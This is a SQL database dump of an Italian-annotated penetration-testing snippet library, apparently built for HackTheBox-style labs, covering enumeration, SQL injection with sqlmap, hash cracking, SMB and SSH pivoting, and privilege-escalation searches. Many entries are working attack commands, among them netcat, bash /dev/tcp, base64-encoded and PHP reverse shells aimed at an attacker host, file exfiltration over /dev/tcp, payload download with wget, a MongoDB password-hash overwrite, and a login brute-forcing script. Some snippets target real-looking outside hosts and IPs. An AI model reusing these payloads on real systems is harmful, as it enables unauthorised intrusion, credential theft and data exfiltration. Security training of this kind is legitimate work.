--
-- Host: localhost    Database: dbPentesting
-- ------------------------------------------------------


--
-- Table structure for table `snip_codes`
--

CREATE TABLE `snip_codes` (
  `id` int(11) NOT NULL,
  `category` varchar(100) NOT NULL,
  `language` varchar(100) DEFAULT NULL,
  `title` varchar(255) DEFAULT NULL,
  `description` text DEFAULT NULL,
  `code` longtext DEFAULT NULL,
  `order_in_cat` int(11) DEFAULT 0,
  `is_main` tinyint(1) DEFAULT 0,
  `pen_element_related_id` int(11) DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `snip_codes`
--

INSERT INTO `snip_codes` VALUES
(0,'Enumerazione Iniziale','Standard Snip',NULL,'Scan su tutte le porte\\nSe non metto -p- scansiona solo le 1000 più comuni','sudo nmap -p- $targetIp',6,0,115,'2026-06-21 14:08:30','2026-06-25 17:00:07'),
(1,'Enumerazione Iniziale','Standard Snip',NULL,'Scan su porte specifiche con script e versione','sudo nmap -sC -sV -p$targetPort $targetIp',3,0,115,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(2,'Enumerazione Web','Standard Snip',NULL,'Directory discovery \\n-S silent mode\\nNon sempre le trova -> usare Gobuster con wordlist /dirb/big.txt','dirb http://$targetIp:$targetPort -S -w /usr/share/wordlists/dirb/common.txt',4,1,130,'2026-06-21 14:08:30','2026-06-25 17:00:07'),
(3,'Enumerazione Web','Standard Snip',NULL,'Directory discovery \\nUsare filtri: c(code) s(size) w(word) l(lines) r(regexp)\\n-m (matcher)\\n-f (filter)\\n-fs 686 -> filtra per dimensioni','ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://$targetIp:$targetPort/FUZZ',2,1,130,'2026-06-21 14:08:30','2026-06-25 17:00:07'),
(4,'Enumerazione Web','Standard Snip',NULL,'SPESSO NON FUNZIONA, MEGLIO GOBUSTER\\nRicerca sottodomini\\n-H specifica il dominio, in questo modo non devo specificarlo su /etc/hosts\\nPer visitare i risultati devo aggiungerli a /etc/host','ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://$targetIp:$targetPort/ -H \'Host: FUZZ.academy.htb\'',11,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(5,'Enumerazione Web','Standard Snip',NULL,'Fuzzing parametro GET','ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:$targetPort/admin.php?FUZZ=key -fs xxx',12,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(6,'Enumerazione Web','Standard Snip',NULL,'Fuzzing parametro POST: stesse opzioni di Curl\\n-X POST\\n-H \'Content-Type:  application/x-www-form-urlencoded\' //header\\n-d ‘value=key’ //dati\\n-d ‘FUZZ=key’ //valore -> prima trovo il value e poi cerco la key (es lista da 1 a 1000)','ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://$targetIp:$targetPort/admin/admin.php -X POST -H \'Content-Type: application/x-www-form-urlencoded\' -d \'id=FUZZ\' -fs xxx',8,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(7,'Enumerazione Web','Standard Snip',NULL,'--batch per dare tutte le risposte e non interrompere il processo\\n--threads 10 velocizza il processo\\n--dbs enumera i database\\npoi posso usare --dump per fare il dump del database specificato con --dump -D databaseName\\n--privileges permette di vedere privilegi\\nSe ha privilegio FILE posso usare read file\\n--file-read=\"/etc/passwd\" permette di leggere file di sistema','sqlmap -u \"http://$targetIp/vuln.php?id=1\" --batch --dbs --threads 10',9,1,121,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(8,'Enumerazione Web','Standard Snip',NULL,'--data per le richieste post','sqlmap -u \"http://$targetIp/case2.php\" --data \'id=1\' -p id --batch --dump',7,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(9,'Enumerazione Web','Standard Snip',NULL,'-H per testare l’iniettabilità degli header, tipo i cookie','sqlmap -u \"http://$targetIp/case3.php\" -H \'Cookie: id=1*\' --batch --dump',6,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(10,'Enumerazione Web','Standard Snip',NULL,'--data-raw mi permette di specificare contenuto post in formato json o xml','sqlmap -u \"http://$targetIp/case4.php\" --data-raw \'{\"id\":1*}\' --batch --dump\\n',5,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(11,'Password Cracking','Standard Snip',NULL,'Le hash vanno messe in formato\\nuser:hash\\nSu Mac la wordlist è:\\n/Users/alex/Pentesting \\Mac/rockyou.txt','john --wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt',3,1,145,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(12,'Password Cracking','Standard Snip',NULL,'Attacco semplice\\n-m mode da usare per il tipo di hash\\nhttps://hashcat.net/wiki/doku.php?id=example_hashes\\nATTENZIONE: Provare anche nel formato file con le sole hash e non name:hash','hashcat -a 0 -m <mode> hash.txt /usr/share/wordlists/rockyou.txt',2,1,142,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(13,'Password Cracking','Standard Snip',NULL,'-a 1: Combina due wordlist','hashcat -a 1 -m <mode> <hash file> <wordlist1> <wordlist2>',5,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(14,'Password Cracking','Standard Snip',NULL,'-a 3: Fornisce un pattern per crackare la password. Ci sono vari placeholder:\\n?d digits\\n?l lower-case\\nPosso aggiungerle di nuovi con\\n-1 02 nel testo lo metto come ?1','hashcat -a 3 -m 0 \'50a742905949102c961929823a2e8ca0\' -1 02 \'HASHCAT?l?l?l?l?l20?1?d\'',4,0,NULL,'2026-06-21 14:08:30','2026-06-21 14:08:30'),
(15,'Reverse Shells','Standard Snip',NULL,'Reverse shell netcat','nc -e /bin/sh $attackerIp $attackerPort\\n',4,0,103,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(16,'Reverse Shells','Standard Snip',NULL,'Reverse shell bash con opzione -c','bash -c \'bash -i >& /dev/tcp/$attackerIp/$attackerPort 0>&1\'',5,0,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(17,'Reverse Shells','Standard Snip',NULL,'Reverse shell bash codificata in base64\\nCreare la stringa con \\necho \"bash -c \'bash -i >& /dev/tcp/10.10.16.5/4448 0>&1\'\" | base64','echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0NDggMD4mMScK | base64 -d | bash 2>/dev/null',3,0,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(20,'Python','Script Python 3',NULL,'Hello python\\nProva di un comando python che scrive hello\\nDa provare','import time\\ndef main():\\n    h = \"hello world 0\"\\n    print(h)\\n    time.sleep(2)\\n    print(\"1\")\\n    time.sleep(2)\\n    print(\"2\")\\n\\nmain()',4,1,63,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(21,'Python','Script Python 3',NULL,'Socket TCP Client\\nProva di connessione a una specifica porta e ip','import socket\\ndef portScannerWithSocket(ip_address, startPort, endPort):\\n for port in range(startPort,endPort):\\n  mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n  mySocket.settimeout(10)\\n  scan = mySocket.connect_ex((ip_address,port))#connect_ex da 0 se si connette e codice di errore se non si connette\\n  if scan == 0:\\n   print(\"Porta {} APERTA\", format(port))\\n  else:\\n   print(\"porta %d chiusa\" %port)\\n  mySocket.close()\\n  \\nportScannerWithSocket(\"2.231.198.9\", 1, 85)',3,1,67,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(22,'Python','Script Python 3',NULL,'Connection HTTP\\nProva di connessione HTTP','import http.client\\n\\n#http.client\\nprint(\"-------------------------------\")\\nprint(\"HTTP http.client:\")\\n\\nconnessione = http.client.HTTPConnection(\"hr.eurosanita.it\")\\nconnessione.request(\"GET\", \"/HRPortal/jsp/home.jsp\")\\nresponse = connessione.getresponse()\\nprint(\"status: \" + str(response.status))\\nprint(\"reason: \" + response.reason)\\nprint(\"http.dati:\")\\ndati = response.read()\\n\\nprint(dati.decode())\\n\\nprint(\"-------------------------------\")\\n#ottengo gli headers\\nprint(\"http.header:\")\\nheaders = response.headers\\nprint(headers)\\nprint(\"-------------------------------\")\\nprint(\"http User-agent:\")\\nuserAgent = response.getheader(\"User-agent\")\\nprint(userAgent)\\n\\nprint(\"-------------------------------\")\\nprint(\"-------------------------------\")\\n',1,1,67,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(23,'Services','Standard Snip',NULL,'Connessione allo share notes \\n-U utente admin -> posso anche ometterlo\\nATTENZIONE: no -L altrimenti non si connette','smbclient //$targetIp/notes -U admin',5,0,186,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(24,'Enumerazione Iniziale','Standard Snip',NULL,'-F fa la scansione delle più comuni 100 porte anzichè 1000','sudo nmap $targetIp -F',4,1,115,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(25,'Database','Standard Snip',NULL,'Per connettersi a db mysql su un host remoto\\n-p sta per password','mysql -u root -h $targetIp -P $targetPort -p',7,1,96,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(28,'Enumerazione Web','Standard Snip',NULL,'FUNZIONA BENE\\nPer ricerca subdomains\\n--append-domain va aggiunto per dire di appendere il dominio nel formato s3.thetoppers.htb\\n-> se non trova provare quella più grande con 100000 domains\\nbitquark-subdomains-top100000.txt','gobuster vhost -u http://$targetIp -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain',3,1,130,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(29,'Reverse Shells','Script PHP',NULL,'Reverse shell php (proc_open)\\nCaricare la shell sul sito come shell.php, mettersi in ascolto e andare sulla pagina','<?php\\n$sock = fsockopen(\"$attackerIp\",$attackerPort);\\n$proc = proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);\\n?>',9,1,103,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(30,'Python','Standard Snip',NULL,'Apro un server python con python 3 nella cartella in cui lo avvio','sudo python -m http.server 80',0,1,67,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(31,'Database','Standard Snip',NULL,'Connessione a mongodb locale','mongo --port 27017',6,1,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(32,'Database','Standard Snip',NULL,'Mongosh è un tool per connessione a mongob','mongosh mongodb://127.0.0.1:27017',10,0,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(33,'Database','Standard Snip',NULL,'Mostra i databases\\nSeleziona i database\\nMostra le collections','show databases\\nuse dbname\\nshow collections',9,0,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(34,'Database','Standard Snip',NULL,'Mostra la lista degli utenti\\npretty() lo rende più facile da leggere','db.admin.find().pretty()',8,0,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(35,'Database','Standard Snip',NULL,'Inserisce una entry nel db','db.apples.insertOne({type: \"Granny Smith\", price: 0.65})',5,0,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(36,'Database','Standard Snip',NULL,'Posso aggiornare una hash nel database nella entry con un dato id per cambiare la password di accesso.\\nL\'hash dello stesso tipo creata con la mia password','db.admin.update({\"_id\":ObjectId(\"61ce278f46e0fb0012d47ee4\")},{$set:{\"x_shadow\":\"$6$8Ngex2mLR2vJwheE$9PTUspwVq1Wh.sEg2oSzW5EcX7fKlDFzs1/2a1mLzYsYcVuyqajhucAo50s93GHHETRmQoe6MwYteWDtey2kQ1\"}})',4,0,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(37,'Windows','Standard Snip',NULL,'Connessione ad RDP\\nPosso provare con una blank password.\\n/p:pass per specificarla','xfreerdp /v:$targetIp /u:administrator',2,1,205,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(38,'Database','Standard Snip',NULL,'Connessione ad un host remoto','mongo --port 27017 --host $targetIp',3,0,154,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(39,'Enumerazione Web','Script Python 3',NULL,'Curl Iteration\\nFile python per iterazione di password dentro un comando curl\\nNel comando curl sostituire ^USER^ per l\'username ^PASS^ per password e inserire la stringa di condizione -S (successo) oppure -F (fallimento)','import subprocess\\nimport sys, getopt\\nimport time\\n\\nclass bcolors:\\n    HEADER = \'\\033[95m\'\\n    OKBLUE = \'\\033[94m\'\\n    OKCYAN = \'\\033[96m\'\\n    OKGREEN = \'\\033[92m\'\\n    WARNING = \'\\033[93m\'\\n    FAIL = \'\\033[91m\'\\n    ENDC = \'\\033[0m\'\\n    BOLD = \'\\033[1m\'\\n    UNDERLINE = \'\\033[4m\'\\ndef runCurl(username, password, failure, success, curlCommand):\\n    curlCommandMod = curlCommand.replace(\"^USER^\", username)\\n    curlCommandMod = curlCommandMod.replace(\"^PASS^\", password)\\n    #result = subprocess.check_output(curlCommandMod, shell=True)\\n\\n    #print(curlCommandMod)\\n    #result = os.system(curlCommandMod)\\n\\n    result = subprocess.run(curlCommandMod, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)\\n    #se non metto text=True devo decodificare lo stdout con .decode(\'ascii\')\\n    output = result.stdout\\n    #print(\"RESULT: %s\" % (output))\\n    if len(failure) > 0:\\n        if failure not in output:\\n\\n            string = \"SUCCESS: \" + username + \":\" + password\\n            print(f\"{bcolors.OKGREEN}%s{bcolors.OKGREEN}\" %(string))\\n            return True\\n    elif len(success) > 0:\\n        if success in output:\\n            string = \"SUCCESS: \" + username + \":\" + password\\n            print(f\"{bcolors.OKGREEN}%s{bcolors.OKGREEN}\" % (string))\\n            return True\\n\\n    return False\\n\\n\\ndef main(argv):\\n    username = \'\'\\n    wordlist = \'\'\\n    curlCommand = \'\'\\n    failure = \"\"\\n    success = \"\"\\n    opts, args = getopt.getopt(argv,\"hu:w:F:S:c:\",[\"username=\",\"wlfile=\",\"failure=\",\"success=\",\"curlCommand=\"])\\n    for opt, arg in opts:\\n        if opt == \'-h\':\\n            print (\'python3 CurlIterator.py -u username <-F failureString or -S SuccessString> -w <wordlist> -c curlCommand /nUse ^USER^ for username and ^PASS^ for password\')\\n            sys.exit()\\n        elif opt in (\"-u\", \"--username\"):\\n            username = arg\\n        elif opt in (\"-w\", \"--wordlist\"):\\n            wordlist = arg\\n        elif opt in (\"-F\", \"--failure\"):\\n            failure = arg\\n        elif opt in (\"-S\", \"--success\"):\\n            success = arg\\n        elif opt in (\"-c\", \"--curlCommand\"):\\n            curlCommand = arg\\n\\n    #load password file\\n    arrayLines = []\\n    with open(wordlist) as file:\\n        for line in file:\\n            arrayLines.append(line.rstrip())\\n    indexLines = 0\\n    count = len(arrayLines)\\n    for i in range(count):\\n        outputString = \"Password testate per %s: %d - Completetato %.1f %%\" % (username, len(arrayLines),  (float(indexLines)/float(count)*100))\\n        if indexLines < len(arrayLines):\\n            password = arrayLines[indexLines]\\n            founded = runCurl(username, password, failure, success, curlCommand)\\n            if founded:\\n                break\\n        else:\\n            print(\"Test completed!\")\\n            break\\n        indexLines += 1\\n        time.sleep(0.1)\\n        if i == 9: #last try\\n            print(outputString)\\nif __name__ == \"__main__\":\\n    main(sys.argv[1:])',1,1,71,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(40,'Services','Standard Snip',NULL,'Connessione anonima ad FTP -> password anonymous\\nLa porta può essere omessa','ftp anonymous@$targetIp',19,1,185,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(41,'Services','Standard Snip',NULL,'Per fare download di file in ftp','get filename',18,0,185,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(42,'Services','Standard Snip',NULL,'per caricare file in ftp','put filename',17,0,185,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(43,'Services','Standard Snip',NULL,'Connessione con utente ad ssh','ssh user@$targetIp',16,1,200,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(44,'Services','Standard Snip',NULL,'Per connessione con chiave privata (es. trovata in un server remoto)','sudo ssh -i id_rsa user@$targetIp',15,0,93,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(45,'Services','Standard Snip',NULL,'Local port forwarding per Servizi -> lo attivo da macchina attaccante per fare il forwarding dei servizi locali sul target\\n- 1234 -> porta locale a cui connettermi\\n- 127.0.0.1:$targetPort -> porta sul target (localhost) su cui è il servizio\\n- user@targetIp -> mi connetto al target su cui gira il servizio\\n-f -N non aprono la shell','ssh -L 1234:127.0.0.1:$targetPort user@$targetIp -f -N',14,0,107,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(46,'Services','Standard Snip',NULL,'Local port forwarding per Pivoting-> dalla macchina attaccante \\n- 127.0.0.1:1234 -> porta nella macchina attaccante\\n- targetFinale:portFinale -> macchina target finale accessibile da pivot\\n- user@targetIp pivot a cui mi connetto\\n-f -N non aprono la shell\\nInfine mi connetto in locale a 127.0.0.1:1234','ssh -L 127.0.0.1:1234:$targetFinale:$portFinale user@$targetIp -f -N',13,0,107,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(47,'Database','Standard Snip',NULL,'Connessione a database postgressql\\n-p la porta di default è 5432\\n-U utente','psql -h $targetIp -p$attackerPort -U user',2,1,37,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(48,'Database','Standard Snip',NULL,'Comandi postgres:\\n\\l: lista database\\n\\c db_name: seleziona database\\n\\dt: lista delle tabelle\\n\\d tab_name: descrizione tabella\\n\\du: lista degli utenti','\\l\\n\\c db_name\\n\\dt\\n\\d tab_name \\n\\du',1,0,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(49,'Database','Standard Snip',NULL,'Per selezionare un valore nella tabella in postgres','SELECT value FROM table_name;',0,0,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(50,'Services','Standard Snip',NULL,'Dinamic Forwarding -> Viene scelta una singola porta e dinamicamente reindirizza tutto il traffico che riceve su quella porta verso l\'host a cui mi connetto\\nATTENZIONE: PER FARLO FUNZIONARE DEVO IMPOSTARE PROXYCHAINS','ssh -D 9050 user@$targetIp',12,0,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(51,'Services','Standard Snip',NULL,'Reverse Port Forwarding per Pivoting-> lo avvio dal pivot intermedio \\n- 127.0.0.1:80 -> è il pivot intermedio con la porta esposta\\n- targetIp:80 -> è il target finale \\n- user@$attackerIp -> reverse connection alla mia macchina attaccante\\n-f -N non aprono la shell','ssh -R 127.0.0.1:80:$targetIp:80 user@$attackerIp -f -N',11,0,106,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(52,'Services','Standard Snip',NULL,'Reverse Port Forwarding per Servizi-> lo avvio dal target\\n- 1234 -> porta locale in localhost (localhost è sottinteso), dove espongo il servizio\\n- localhost:3306 -> è il servizio che gira sul target in localhost\\n- user@attackerIp connessione reverse alla macchina attaccante\\n-f -N non aprono la shell','ssh -R 1234:localhost:3306 user@$attackerIp -f -N',10,0,106,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(53,'Services','Standard Snip',NULL,'Lo uso con il forwarding dinamico \\nssh -D 9050 user@targetIp\\nuna volta impostato e avviato il proxy dinamico posso lavorare come se lavorassi sul target basta che faccio precedere i comandi con proxychains','/etc/proxychains4.conf -> socks4 127.0.0.1 9050\\nproxychains4 nmap -v -sn 172.16.5.1-200',9,0,106,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(54,'Services','Standard Snip',NULL,'Lista delle cartelle messe a disposizione','smbclient -L $targetIp -U user',8,1,95,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(55,'Services','Standard Snip',NULL,'Connessione a una directory\\nRitorna la shell smb\\nsmb:> get nomefile.txt','sudo smbclient \\\\\\\\$targetIp\\\\directory',7,0,95,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(56,'Services','Standard Snip',NULL,'Provare sempre la lista con Administrator','smbclient -L $targetIp -U Administrator',6,0,95,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(57,'Services','Standard Snip',NULL,'Connessione a directory verso windows','sudo smbclient \\\\\\\\10.129.213.247\\\\C$ -U Administrator',5,0,95,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(58,'Services','Standard Snip',NULL,'PSEXEC di IMPACKET\\nper ottenere una shell con smb\\n[password] è opzionale, se non la metto posso mettere\\nuser@targetIp','python3 /usr/share/doc/python3-impacket/examples/psexec.py user[:password]@$targetIp',4,0,95,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(59,'Reverse Shells','Standard Snip',NULL,'Netcat per Windows\\nScaricare nc64.exe da github -> vedi nota','nc64.exe -e cmd.exe $attackerIp $attackerPort ',2,1,117,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(60,'Enumerazione Web','Standard Snip',NULL,'Ricerca directory con gobuster','gobuster dir --url http://$targetIp/ --wordlist /usr/share/wordlists/dirb/big.txt',0,0,130,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(61,'Password Cracking','Standard Snip',NULL,'Per identificare tipo di hash\\n-j da il formato per john the ripper\\n-m da il mode per hashcat','hashid $2a$10$SpKYdHL...iouherqwh',1,1,142,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(62,'Reverse Shells','Standard Snip',NULL,'Script in linguaggio Racket da salvare in shell.plt','cmdout = system(\"bash -c \'bash -i >& /dev/tcp/10.10.16.2/4448 0>&1\'\")\\nprint cmdout',10,1,102,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(63,'Enumerazione Web','Standard Snip',NULL,'--level (1-5) estende i bonduaries e i vettori in base all\'attesa di successo\\n--risk (1-3) estende il vettore in base al rischio di provocare problemi -> può provocare problemi come perdita di dati o denial-of-services','sqlmap -u \"http://10.10.11.194/vuln.php?id=1\" --batch --dump --level 5 --risk 3',2,0,121,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(64,'Linux Priv Esc','Standard Snip',NULL,'Mostra i comandi che possono essere avviati come root dall\'utente attuale\\nTra parentesi c\'è l\'utente che può usarlo, se c\'è (deploy)\\nsudo -u deploy comando\\n','sudo -l',13,1,215,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(65,'Enumerazione Web','Standard Snip',NULL,'Enumerazione dei linguaggi e delle versioni utilizzate dal server','./wappy -u http://$targetIp',10,1,164,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(66,'Linux Priv Esc','Standard Snip',NULL,'Permette di vedere kernel per la ricerca di exploit','uname -a',12,1,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(67,'Linux Priv Esc','Standard Snip',NULL,'Tool che permette di monitorare processi da una macchina senza privilegi','./pspy',11,1,217,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(68,'Linux Priv Esc','Standard Snip',NULL,'Permette di vedere processi avviati da root','ps aux | grep root',10,0,217,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(69,'Linux Priv Esc','Standard Snip',NULL,'Permette di vedere porte aperte in ascolto','netstat -l',9,0,217,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(70,'Linux Priv Esc','Standard Snip',NULL,'Mostra porte aperte internamente ai vari servizi anche non accessibili dall\'esterno','netstat -antup',8,0,217,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(71,'Linux Priv Esc','Standard Snip',NULL,'Mostra la lista dei servizi','dpkg -l',7,0,217,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(72,'Password Cracking','Standard Snip',NULL,'A volte funziona meglio di hashid e da una più probabile','hash-identifier 6ebcea...75995',0,1,141,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(73,'File Transfer','Standard Snip',NULL,'Crea un server http da cui posso scaricare file con wget','sudo python3 -m http.server 8080',0,1,112,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(74,'File Transfer','Standard Snip',NULL,'Invia il file all\'ip e porta dove mi metto in ascolto con nc\\nnc -lnvp 2222 > file.db','cat file.db > /dev/tcp/$attackerIp/$attackerPort',2,1,112,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(75,'File Transfer','Standard Snip',NULL,'Metto in ascolto su macchina attaccante con nc per ricevere un file','nc -lnvp 2222 > file.db',3,1,112,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(76,'Linux Priv Esc','Standard Snip',NULL,'Cercare file con permessi SUID\\n-exec ls -ldb {} \\; esegue il comando specificato per ogni risultato','find / -perm -u=s -type f -exec ls -ldb {} \\; 2>/dev/null',15,1,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(77,'Linux Priv Esc','Standard Snip',NULL,'Cercare file con permessi GUID','find / -perm -g=s -type f -exec ls -ldb {} \\; 2>/dev/null',6,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(78,'Linux Priv Esc','Standard Snip',NULL,'Cercare file appartenenti a utente root con privilegi del gruppo a cui appartengo\\n-user root\\n-group nomeGruppo\\n','find / -type f -group nomeGruppo -user root -exec ls -ldb {} \\; 2>/dev/null',5,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(79,'Linux Priv Esc','Standard Snip',NULL,'Cercare file con permessi SETUID 4000\\n-exec ls -ldb {} \\; permette di eseguire il comando sui risultati','find / -user root -perm -4000 -exec ls -ldb {} \\; 2>/dev/null',4,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(80,'Linux Priv Esc','Standard Snip',NULL,'Cercare file con permessi SETGID 4000\\n-exec ls -ldb {} \\; permette di eseguire il comando sui risultati','find / -user root -perm -6000 -exec ls -ldb {} \\; 2>/dev/null',3,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(81,'Linux Priv Esc','Standard Snip',NULL,'Cerca directory writable\\n-perm -o+w','find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null',2,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(82,'Linux Priv Esc','Standard Snip',NULL,'Cerca file writable\\n-perm -o+w','find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null',1,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(83,'Linux Priv Esc','Standard Snip',NULL,'Cercare file di un certo tipo\\n-name *.conf *.db (db è database sqlite3)\\n-user root\\n-size +20k\\n-perm -g=s permessi (-u -g -o rwxs)\\n-newermt 2020-03-03 #data di modifica\\n-exec ls -la {} \\; esegue il comando specificato per ogni risultato','find / -type f -name *.db -user root -perm -g=s -exec ls -al {} \\; 2>/dev/null',14,1,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(84,'Windows','Standard Snip',NULL,'Connessione ad WinRM','evil-winrm -u user -p \'password\' -i $targetIp',1,1,206,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(85,'Script Swift','Script Swift',NULL,'Script Swift\\nStampa hello','for i in 1...8{\\n    print(\"hello pentesting \\(i)\")\\n}',0,1,NULL,'2026-06-21 14:08:31','2026-06-21 14:08:31'),
(86,'File Transfer','Standard Snip',NULL,'Scarica una shell dal server che creo con python\\n-O maiuscolo specifica il path del file\\n-o salva l\'output ovvero i dati di connessione in un file','wget http://$attackerIp:8080/shell.sh -O /tmp/shell.sh',1,1,112,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(87,'Python','Script Python 3',NULL,'Socket TCP Server\\nServer socket TCP in ascolto','import socket\\n\\ndef run_server():\\n    # create a socket object\\n    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n\\n    server_ip = \"$attackerIp\"\\n    port = $attackerPort\\n\\n    # bind the socket to a specific address and port\\n    server.bind((server_ip, port))\\n    # listen for incoming connections\\n    server.listen(0)\\n    print(f\"Listening on {server_ip}:{port}\")\\n\\n    # accept incoming connections\\n    client_socket, client_address = server.accept()\\n    print(f\"Accepted connection from {client_address[0]}:{client_address[1]}\")\\n\\n    # receive data from the client\\n    while True:\\n        request = client_socket.recv(1024)\\n        request = request.decode(\"utf-8\") # convert bytes to string\\n        \\n        # if we receive \"close\" from the client, then we break\\n        # out of the loop and close the conneciton\\n        if request.lower() == \"close\":\\n            # send response to the client which acknowledges that the\\n            # connection should be closed and break out of the loop\\n            client_socket.send(\"closed\".encode(\"utf-8\"))\\n            break\\n\\n        print(f\"Received: {request}\")\\n\\n        response = \"accepted\".encode(\"utf-8\") # convert string to bytes\\n        # convert and send accept response to the client\\n        client_socket.send(response)\\n\\n    # close connection socket with the client\\n    client_socket.close()\\n    print(\"Connection to client closed\")\\n    # close server socket\\n    server.close()\\n\\n\\nrun_server()',2,1,63,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(88,'Linux Priv Esc','Standard Snip',NULL,'Cerca per nome gruppo apparteneti a root\\n-group nomeDelGruppo','find / -user root -group nomeGruppo -type d -perm -o+w 2>/dev/null',0,0,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(89,'Linux Priv Esc','Standard Snip',NULL,'Cercare file con permessi di scrittura nei file chron\\n-perm -2 permessi di scrittura\\nProvare anche le directory:\\n/var/spool/cron\\n/etc/crontab\\n/etc/spool/cron/crontabs/root\\n/etc/cron.daily','find /etc/cron.d -perm -2 -type f -exec ls -ldb {} \\; 2>/dev/null',16,1,213,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
(90,'Services','Standard Snip',NULL,'Richiesta per DNS server - porta 53\\n-x reverse lookup: mi da il nome del dominio dall\'ip','dig -x $targetIp @$targetIp',3,1,188,'2026-06-21 14:08:31','2026-06-25 17:00:07'),
